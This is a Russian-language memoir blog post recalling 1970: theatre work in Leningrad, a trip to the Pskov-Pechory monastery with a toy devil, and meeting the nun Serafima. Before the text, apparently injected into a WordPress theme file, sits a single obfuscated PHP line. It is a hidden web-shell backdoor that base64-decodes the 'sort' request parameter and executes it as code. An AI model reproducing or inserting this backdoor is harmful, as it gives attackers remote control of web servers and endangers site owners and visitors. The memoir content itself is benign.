nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

КТО В ТЕАТР ПОПАЛ – ТОТ ПРОПАЛ !


                                            эпиграф
"- Я  не  Спиноза  какой-нибудь, чтобы  ногами  выделывать  кренделя ! "
                                                                                                                  Чехов  " Свадьба "             
IMG
     Как   это  часто   бывает,  перебираешь  разрозненные  фотографии,  чтобы  их  как-то  куда-то  утрамбовать,  натыкаешься  на  какую-нибудь  фотку  –  и   вдруг  . . .  " я  встретил   вас,  и  всё   былое…".
    Засмотрелась  я   на   эту   несерьёзную   картинку   и   решила   к   ней   "пристроить"  такое   же   несерьёзное  воспоминаньице.

        Я   уже  в  предыдущих   мемориях  рассказывала,  к а к    я    с   этим  " Спинозой "  познакомилась, работая,  как  и  он,  монтировщиком – строителем  декораций  на   сцене    Александринского  (Пушкинского )  театра  в  1968  году. . .

      (  Меня   очень  печалит,  что  эти  мои  мемории  распыляются  по  космическому  пространству  Интернета  –  ведь  они  у  меня  увязаны   между  собой  определённой  лейтмотивностью; мне  казалось,  что  дневниковая  повествовательность  "живого  журнала "  неприкосновенна  –  это  оказалось  моей   технической   некомпетентностью.  Ну  ничего  уже  не  поделаешь.  Однако  повторяться  не   хочется,  чтоб  яснее  было  очередное  воспоминание.  Ладно,  вот   ещё  одно,    н о    которое  базируется  на  предыдущих.)

      Я  уже  писала,  что,  проработав   после   школы   сезон  в  указанном  театре,  я   во  второй   раз   умудрилась    н е    поступить  на  театроведческий  факультет  Театрального  института, поскольку  на   очередном   обязательном   собеседовании,  которое  приравнивалось  к  экзамену,  я    т а к о г о   наговорила,  что  называется,  от  души,  что  декан  ( Агамирзян Г.И.)  сказала  моей   пришедшей  разбираться  мамочке,  что  я  попаду  на  театроведение   "только  через  её  (декана)  труп". Это   при  том, что   у  меня  был   мощный блат ( что  тоже  могло  навредить  мне,  если  декан  и   блат были,  допустим,  в  конфликте).
     Кстати, погрозившая   своим  трупом  декан   умерла  год   назад,   на   девяносто   первом   году   жизни !

     Итак,  не  поступив  в  ВУЗ,  я  решила   "тьфу  на  вас"  и  больше  никуда  не  поступать,  поскольку  уж  сильно   меня   закрутила  дружба  и  любовь  с  Гариком-Егором, то  есть  будущим   о.Георгием.  Я   пошла   дальше  не  учиться,  а  работать   для  той   же "отрады   души"  бутафором-реквизитором  в  Кировский ( Мариинский )  театр:  чтоб  бесплатно  смотреть  балеты,  а  также   иметь   свободное   время  с  Гариком-Егором,  будущим   о.Георгием,  интересно  общаться. Но  как  это  было  истолковано   моей   мамочкой  –   всё   это  я  делала   назло   ей,  мамочке, будущей  тёще . . . ( эпизоды  этих  коллизий   тоже  освещены   в  моих  мемориях ).

   И  вот  одна  из  " интересностей "  моего,  уже  не  первого  года  общения  с  Георгием. 1970  год.

   Ребята – рабочие  сцены  в  Александринке   ещё   при  мне   где-то   в  закромах  театра   " откопали "  старый-престарый  сценический  полотняный  половик. А   половик   это,  знаете   ли,   такая   тряпица,  которая  покрывает  в  спектаклях   в с ю   поверхность  сцены,  на  которой  играется  спектакль. Сколища   там  было  десятков  квадратных   метров  парусиновой   ткани   –  просто " мечта   поэта " !  А  надо  сказать,  что  наступало   время  джинсовой   лихорадки,  когда  портЫ  из  грубой   ткани  сводили   с  ума  молодое   поколение.  Ребята  половик   разрЕзали   на   всех   заинтересованных  в   веянии  моды.  Нам  с  Георгием   досталось   по  куску.
    Но  я  балдела  не  столько  от   самой   добычи, сколько   от   того, кто  из    в е л и к и х    артистов  по  этому   половику   ходил !  Но  не  буду  вдаваться   в   историю   театра,  чтоб  не  отвлекаться   . . .
    Я,  конечно,  сама   себе  состряпала   брючата,  а  Георгий  заказал  а-ля-джинсы  у  одного   парня,  лихо  их   стряпавшего  –  некоего  Коли  Нарушевича,  подпольного   портняжки.
    Мало   того,  моей  мамочке  на  тот  исторический   момент   подарили    слишком  яркую  для  её   возраста   ткань,  и   я, заполучив  её, сшила  себе   авангардный   красный   брючный   костюм.  Я   обкатала  свои   рискованные   туалеты   на   своей   новой   работе –  в  Кировском   аж   театре  –  в  театре,  набитом   гениальными  людьми,  мировыми   звёздами,  где   будь  здоров   к а к    одевались  в  те  абсолютно   убогие  дизайнерские   времена !   Подошло  лето,  и   я   в   наш  с  Георгием   одинаковый  – театральный  –  летний   отпуск   рванула   к   нему  на  киносъёмки.

   "К  нему,  да  на  киносъёмки"  –  это   слишком  громко  сказано.
   Наш  друг  артист,  Слава,  Станислав  Александрович   Чуркин,  поехал   в  отпуск  сниматься  к  Турову   под   Даугавпилс  в  фильме  по  "Запискам  охотника" – " Жизнь  и  смерть  дворянина  Черптоханова".  Кто  там  только  не  снимался, если  посмотреть  в  Интернете,  даже  ( в   отличие  от  нашего  Славы  с  его  сквозной  ролью ) в  эпизодических  ролях:  и  Зиновий  Гердт, и  Андрей  Макаревич; а  Золотухин – Яков-турок, странствующий  певец !  Даже  мой  Георгий, рекомендованный  туда  Чуркиным  в  рабочие, умудрился   дублировать  героя  фильма, артиста Бабкаускаса,  когда  того   в   фильме,  в   дым   пьяного,   послушная   лошадь  везёт  в  телеге  с  ярмарки !
      Можете, поклонники  моего  мужа,  кому  не  лень,  выудить  этот  эпизод  в  Интернете !
      Правда,  фильм   длиннющий,  двухсерийный . . . В  моё  время   бытовало, да  смотрю, и  сейчас  бытует  такое   одобрительное  выражение  про   кино  –  " ой,  т я ж ё л ы й    ф и л ь м  ! ".  Но  ничего  не  поделаешь  –  классика !  А  Георгий  в   дальнейшем  и  приучил  меня  ходить  на   занудные   фильмы –  как  правило,  они  только  и  составляют  шедевры   кинематографа !  А  это  уже  психологическая закалка,  "плавный  переход "  к   длинным  церковным  службам !
    Так   вот,  поехала   я   в  своих   авангардных   нарядах  в   эту  экранизацию  классики  под   Даугавпилс,  где   меня  никто  не  ждал  (а  даже  наоборот), именно  для  того,  чтобы  понять,  в  какую-такую   р е л и г и ю   многоуважаемый  Слава  втягивает   моего  "бой-френда".  Я   ведь   была   некрещёная.  Конечно,  то  что  они  интересовались  йогой  –  это  я  знала,  и   это  мне  импонировало,  но  чтобы  " удариться "  в  церковь ? . .   Это  для   меня   был  просто  шок.  Я   и   поехала  " на   разведку ".
   Нагрянула  я   к   ним   в  деревню  под  Даугавпилсом  как   снег  на  голову. Осложнила  я  им   обстановку   о-го-го   как !  Ведь  Слава  в  предоставленной  ему  комнате   уже,  кроме  Георгия,  устроил  ещё  одного  своего  друга,  будущего,  забегая  вперёд,  профессора  Духовной  академии !  Но  не  выгонять  же  меня ! (хотя  и  запросто  могли !) Тут  я  пропущу  в  описании  моменты   моей  адаптации  к  их  абсолютно  дисциплинированному ( благодаря  Чуркину )  христианскому  быту  и  режиму  работы. В  последствии   моя   вредина-мамочка   так   ревниво-язвительно   и   именовала  Чуркина: " э т о т,  как   его ? –  ваш,  хм,  п а т р и а р х ". Точнее  последнего  слова  не  скажешь !

   Когда   у   Чуркина  закончился  данный  этап   съёмок  и  все  разъехались, мы  с  Георгием  поехали  по  Прибалтике.  Ведь  я  уже   писала,  что  Георгий  по  своей   матери  – эстонец. В  Тарту  мы  отыскали  каких-то  его  дальних  родственников,  и  вообще   он   со   своей  харизмой,  да  с чистым эстонским   был   везде   "своим"  –  мне  от  этого   было   очень   кайфово !  Это  я  пишу  не  просто  так,  а   для  дальнейшего  " идейного содержания "  моего  воспоминания. Внимание ! В  Тарту  кульминацией   нашего   посещения  был   знаменитый   Тартусский   м у з е й    ч е р т е й . . .
   Посетили.  Я  по   некрещёности   и   быв  в  восторге   от   прибалтийско-европейской   фривольностей,   приобрела  " на   память " о  ней  сувенирного  чёртика:  прыгающую  пластмассовую   конструкцию  на   длинной  резинке. К  моим   брючным  провокациям  это   было  "утончённым"  семантическим   дополнением   и  приятным   развлечением:  я   оттягивала   резиночку,  отпускала  –  и  чёртик  весело  прыгал  по  мне  от  талии  и  до  подбородка.

   Однако  в  Пскове  моя  "райская   жизнь"  с  фривольностями   кончилась.
   Когда  мы  проголодались  и  вознамерились   посетить  обыкновенную  столовую . . .  меня  туда   в  брюках ( ах !)  не  пустили ! И  в  другие  столовые  тоже.
   Такие  вот  были  времена !
    Меня   вообще  никуда  из-за  брюк  не  пускали  –   сейчас  этого  не  понять ( если  только иногда  в  церкви ). После  Кировского  театра,  после  Прибалтики  –  и  вдруг  какой-то  Псков !?  Я  была  в  очередном  шоке.
     Голодными  и  "поголовно"  в  брюках  мы  отправились  в  Печерский  монастырь (а  это  был  неукоснительный  план  путешествий, разработанный  Георгием ) ! Я, повторяю,  была   голодная   и  злая " как  чёрт ",  предвкушая   ещё  и   конфликт  на   проходной  монастыря  из-за   своего  "дресс-кода",  негодуя  на  Георгия,  который  меня  просто  туда,  в  монастырь,  тащил.
   Как   ни  странно  меня  на  территорию  монастыря  спокойно  пропустили.  Я  озадачилась. Мы  стали  баражировать  по  территории  между  " насельниками "  и  всяко   разными  посетителями  –  у  всех   ноль  на  меня  внимания.  Осторожно  констатировав,  что  меня   за  ноги  и  за  руки  отсюда  не  выволакивают,  я   стала   потихоньку  своего  чёртика,  который   исправно  висел  на  мне, "раскручивать ",  чтоб  он   привлекал  ко  мне  хоть  какое-то   внимание.  Опять  же  – впустую .
       Однако  привлёк  чьё-то  непростое  внимание  мой  харизматический  Георгий,  который   всегда  умудрялся   с пол-оборота  входить  в  знакомства  с  нужными  людьми. Не  прошло  и  получаса,  а  он  уже  запросто  разговаривал  с  о.Иринеем,  экономом  монастыря. Я  стояла   рядом,  дёргая  чёртика  –  ноль  внимания !  Отец  Ириней,  разговаривая  с  моим   Георгием,  повёл  нас  на  "какую-то "  "святую  горку",  по  дороге  с  кем-то  перекидываясь  словами  –  опять  же   все  на  меня  ноль  внимания.
      Где-то   т а м,  как  я  понимала,  в   э л и т н о м   месте  на  меня  с   моим  прыгающим   чёртиком  наконец-таки  должны  же  начаться  долгожданные   гонения . .  .  и   опять  никакого   внимания.  Моих  пёстрых  чувств   просто  не  передать ! Я  грешным  делом  решила,  что  они  меня   принимают  за   мальчика:  я  не  помню,  но  кажется  я  была  без  платка (и  в  брюках).

  ( Но  скажу  свой   интимный  секрет,  что  ещё    д о   своего  воцерковления  я   у ж е    носила  платочек,  но  не  для  неведомого  мне  благочестия,  а  по  причине  своей   лопоухости ( папино  "наследство"),  чтоб  уши  не  были  видны.  Или  же,  если  не  головной  убор,  то   я  стягивала  уши   прядями   волос  с  их  хвостиком   на   резиночке  позади. Я  долго  выбирала  момент  и  копила  деньги на  пластическую   операцию,  и  дождалась-таки  нужного  момента  в  1980 году, то  есть  через  десять  лет  после  описываемых  здесь   событий, в  скандальную  олимпиаду  1980 года,  когда  улицы  были  пустынны  – ведь  надо  было  ходить  много  дней  с  перевязанной  башкой !. Это  " счастье  в  личной  жизни ",  то  есть  операция  в  платном  институте  красоты  на  бульваре  Профсоюзов  обошлась  мне  в  тридцать  рублей. ) Но  вернёмся  к  нашим  монахам.

       Мой  Георгий   со  всеми  на  " горке "  общался   словно   сто   лет  был   со   всеми   знаком,  а   я   же   так   и   оставалась  " за  кадром "  как   человек-невидимка.  Наконец  один  из  монахов  что-то  у  него  насчёт  меня  спросил,  и  я  успокоилась,  что  не  за  мальчика  они  меня  принимают:
 — Слушай, –  бестактно  спросил  один  из  них. – А  почему  ты  вот  такой  большой,  а    о н а   такая  маленькая ?
    Мой  будущий   муж  сказал  как  отрезал:
 — А  чтоб  дети  нормальные  были !
    Мне,  конечно,  это  польстило,  и   я   с  ещё   большей   интенсивностью   стала   дергать  своего  чёртика.  Чудеса  да  и  только !  Всё  понапрасну !
    Я   с   досады   уже  просто  щёлкала   противную   конструкцию   в   бок,  чтобы  сувенир,  не   оправдавший   возложенных  на   него   надежд,  уже   не  по  вертикали,  а  по  горизонтали  допрыгивал  до   моего   левого  плеча  и,  перекувыркиваясь,  путался  в  длинной   резинке: мол  вот  тебе, поганик !
   Наконец   всё-таки  лучик  надежды  у  нас  с  чёртиком  заблистал:  я  увидела  группу  стариков,  то   есть   с т а р ц е в,  которые  промеж   себя  где-то  в   сторонке   что-то  обсуждали.  Я  решительно  направилась   к  ним,  встала  в  вызывающую  позу  (типа  четвёртой  балетной  позиции),  оттянула  чёртика  до  своего  пупа,  крикнула   что-то   типа   "эй !"   или   "алё ! "   и   отпустила   его   старцам   во  искушение.
   Произошло  неописуемое !
   Они  все  передо  мной  выстроились  в  шеренгу.  Более  счастливых  людей   я  в  своей  жизни  не  видела !  Словно  к  ним  Сама  Божия  Матерь  спустилась !  На  их  лицах   было   сладостное   умиление  и   искренний   восторг. На   меня  совершенно   неожиданно  излился   девятый   вал  их  любви   и   благодушия !
    Конечно,  замечательно   приносить   радость  людям,  но   я   была   несколько   разочарована.
    Так  закончилось  наше  с   моим   будущим   мужем   первое   посещение   Печерского   монастыря.  Для  меня,  конечно,  эта   моя  дразниловка   чёртиком  –   самое  яркое  впечатление.  А  Георгий,  вспоминая   это  наше  с   ним  первое  " предсвадебное "  путешествие,  непременно  поминал   крепдешиновые  шароварчики,  которые  мило   мелькали   внизу   подрясника  о.Иринея.

   Ой,  да  что  я  такое  говорю ! Было  у  меня  в  Пскове  впечатление, затмевающее  все  предыдущие ,  можно  сказать,  событие   всей  жизни  –  знакомство  со  схимонахиней  Серафимой,  как  она  о  себе  поясняла  –  в  девичестве   Лунёва  Мария  Фёдоровна ( как  по  мужу  не  помню  в  течение  нескольких   лет  нашего   с   ней   общения  она  вскользь  упоминала  его  фамилию,  но, может  даже,  и  вымышленную, я  не  запомнила ).

    Итак,  опять  же  Псков,  1970  год.
    Мы  с  Георгием  пришли  в  Троицкий  кафедральный  собор  на  литургию  не  просто  так. Хоть  я  и  была  некрещёная,  но  мой  Гарик ( Георгий,  или  как  прозвал  его  Чуркин  –  Егор), не  только  был  уже   Чуркиным  как  бы  воцерковлён,  но  и  оказалось,  что  у  ближайшего   армейского   друга  Георгия  тётушка  была  самой   что  ни  наесть  приближённой  к  особе  Псковского  митрополита  Иоанна, она  была  его  медсестрой  и  келейницей  –  тётя  Роза, Ефросинья.  Друг  Георгия  Володя  рассказывал  тётушке  про  него  и  просил  её   рассказать  о  нём   митрополиту,  чтоб   тот  почтил  Георгия   своим  вниманием.  Но,  конечно,  владыка,  запутавшись  во  всех  именах, после  литургии  и  почтил  моего  Георгия  своей   громадной  просфорой,  но  при  этом  называл  его  Володей, что  существенно  для  моего  дальнейшего   повествования.  Но  всё   по  порядку.

    Пройдя  по  Псковскому  кремлю,  мы  поднялись  в  храм.  Георгий  сразу  пошёл, чтоб  его   было  видно,  а  я   скромно   осталась   у  двери,  в  которую  мы  только  что  вошли.
    Вообще  мне   было  всегда  интересно  всё,  что  было  интересно  Георгию,  и   тут  я  пусть  стояла  и  скучала,  ничего  не  понимая,  но  хоть  знала,  что   тут    е с т ь   что  понимать.  Вдруг . . .
    Вдруг  снизу  на  лестнице   завёлся  какой-то  подозрительный   шум.  У  меня  в  творческой   голове  скользнул  сказочный  помысел: знать,  какая-то  лягушонка   в   коробчонке   катится.  Так  оно  и  было.  Шум,  подкатившись  к   двери ,  материализовался   в   некое  " чудо  в  перьях"  –  явно   чокнутую   бабку.
    Ворвавшись,  ввалившись  в  дверь,  она  тут  же  отпихнула  меня  с  моего  места.  Я,  конечно,  не  удержалась  и  сделала  вперёд  пару  шагов, но  дав  " полный   назад ",  возвратилась  на  своё  место.  Бабка  издала  громким  голосом  междометие  "х-хо !"  и  двумя  руками  толкнула  меня  в  спину.  Я  опять, подавшись   вперёд, отбуксовала   назад. Тогда  она,  подбоченясь  и  упёршись  в  мою  спину,  стала  отодвигать  меня  словно  шкаф. Ну   не  драться  же  с  ней ?  Я  развернулась  к  службе  " задом"  к  стенке  передом  и  увидела,  что  там,  где  я  стояла,  висела  икона  какого-то   святого  в  его  полный  рост. Ах  вот  оно что !  Я   мешала   бабке   молиться !  Она  махала   перед  иконой  цветочком,  что-то  бубня  и  припевая,  а  также    постукивая  им  по  изображению. Окончив  этот,  как  я  поняла,  шоу-ритуал  вхождения  во   храм,  бабка   опять  же   привычно-делово   лёгким  шагом  пошла,  почти  побежала  к  немногочисленным  верующим,  поголовно  такого  же  возраста,  как  и  она  сама,  бабкам,  среди  которых  возвышался  мой  будущий   муж. Никто  на  порхающую  по  храму  тётку  не  обращал  внимания,  и  я  поняла,  что  это   местная,  уже   всем  надоевшая   достопримечательность . . .
   Но   ч т о   произошло  с  этим  " чудом  в  перьях", когда  оно-она   наткнулась  на  моего  Георгия !  "Перья"   ещё  больше  распушились,  и  их  обладательница  стала  вокруг   него  просто   виться.  Когда  же  в  конце  службы  митрополит  дал  Георгию,  подошедшему   в  очереди   со  старушками   к  целованию  креста,  свою  большущую  просфору  и  сказав   ему  несколько  слов,  назвав  Володей, "чудо в  перьях"  чуть  чувств   не  лишилось   от  восторга: "Ах,  Володя,  Володя,  Володя ! "  – на  все  лады  она  произносила   заветное  имя  и  крутилась   между  мною  и   Георгием,  бросая  на  меня   уничижительные  взгляды.
    Но  она   оказалась  не  псковским " восьмым  чудом  света ", а   всего  лишь  там  гастролёршей.

    Когда  мы  с  Георгием  по  указке  Чуркина   пошли  в  Князь-Владимирский  собор  Ленинграда,  чтобы  посмотреть  на  рекомендованного  нам  духовника  – о. Александра  Козлова  –   я   к  этому  времени  уже   крестилась  благодаря  всем  этим  летним  впечатлениям.
   Точно  так,  как  и  во  Пскове,  явление  Серафимы  предварялось  набором  непонятных  шумов. Был  какой-то  церковный   праздник,  и  народу  в  храме  было  прилично. Продираясь  сквозь  молитвенную  толпу,  Серафима  не  могла  не  обратить  внимания  на  верзилу,  не  меньшего, как  и  тот  самый  о.Александр,  ради  которого  мы  пожаловали. Впоследствии  оказалось,  что  Серафима  его  просто  обожала  – о.Александра. И,  забегая  вперёд,  скажу:  я заметила,  что  это  было  взаимно. . .
   Повторилась  та   же  сцена,  что  и  во  Пскове: Серафима,  отпихнув  меня  от  рядом  стоящего  Георгия,  заняла  моё  место  и  едва  ли  не "освящала"  его   своим  цветочком,  приговаривая  " ах,  Володя,  ох, Володя ".  Но  это  уже  было  не  после  конца  службы,  а  в  её  середине,  и  у  меня  было  время  подготовить  план  мщения. Коллектив  священнослужителей  не  обращал  на  её  выкрутасы  никакого  внимания,  и  народ  тоже  был  ею  воспитан  " во  смирении ". И  это  при  том, что  она  спокойно  ходила  со  своим  цветочком  по  всем  амвонным   иконостасным  иконам !
   Как  только   полностью  закончилась  служба,  я  направилась  прямиком  к  амвону  Никольского  придела,  где  непосредственно  у  Царских  врат  Серафима,  сидя   на  полу  и   вытянув  ноги,  разложив  свои  котомки,  безмятежно    в   них   содержимое  перераскладывала.
    Я  подошла  к   замкнутой  на  задвижку  металлической  решётке,  отделяющую  это   святое   место  от  общенародного,  и  гневным  прокурорским  голосом,  словно  с  трибуны  партсъезда,  завела  подготовленную  убийственную  речь:
 —  Как   вам  не  стыдно !  Взрослый  человек,  женщина  в  летах,  которая   должна  подавать  пример  подрастающему   поколению . . .  а   вы,  до  чего  вы  себя довели ! . . Что  вы   из   себя  строите ? Если  вы  думаете,  что  ваш  театральный   образ   эффектен,  то   разочарую  вас:  он   дефектен !  Вы  думаете,  что   вы   пророчица   великая ? Так  вы  даже  имени  правильного  не  можете  распознать ! Так  вот,  зарубите  себе  на  своём  наглом  носу,  который  вы  суёте  куда  не  надо,  что  мой  парень  не  какой-то  ваш  сладенький  Володечка !  Он –  Георгий,  между  прочим,  и  отстаньте   от   него  ! !
       Серафима  снизу  вверх  и   разинув  рот   смотрела  на   меня  и  ловила   каждое   слово.  Как  только  я  закончила  свою  (синхрофаза) -тронную  речь, она   совершенно  спокойно,  словно  рядом  птичка  что-то  прочирикала,  сказала:
    — Послушай,  если  ты  вот  сейчас  откроешь  эту  решётку  и  сядешь  вот  сюда  ( она  похлопала  пол   рядом  с  собой ),  я  тебе  расскажу  тебе  про  моего  дорогого   батюшку   Серафима   Вырицкого . . .
   Я  открыла  створку  решётки  и  села  рядом  с  Серафимой.
   Так   началась  моя   полная   приключений   дружба  с  Серафимой.  Она  перестала   называть   моего   Георгия   Володей,  но  не  перестала  его  обожать . . .
                                                  Опять   напомню,  что  это  был  1970 год.

петр  иоанн  андрей
филипп  фома  варфоломей
два иакова  матфей
      иуда яковль, т.е. фаддей
зилота симон  и  матфИй


Добавить комментарий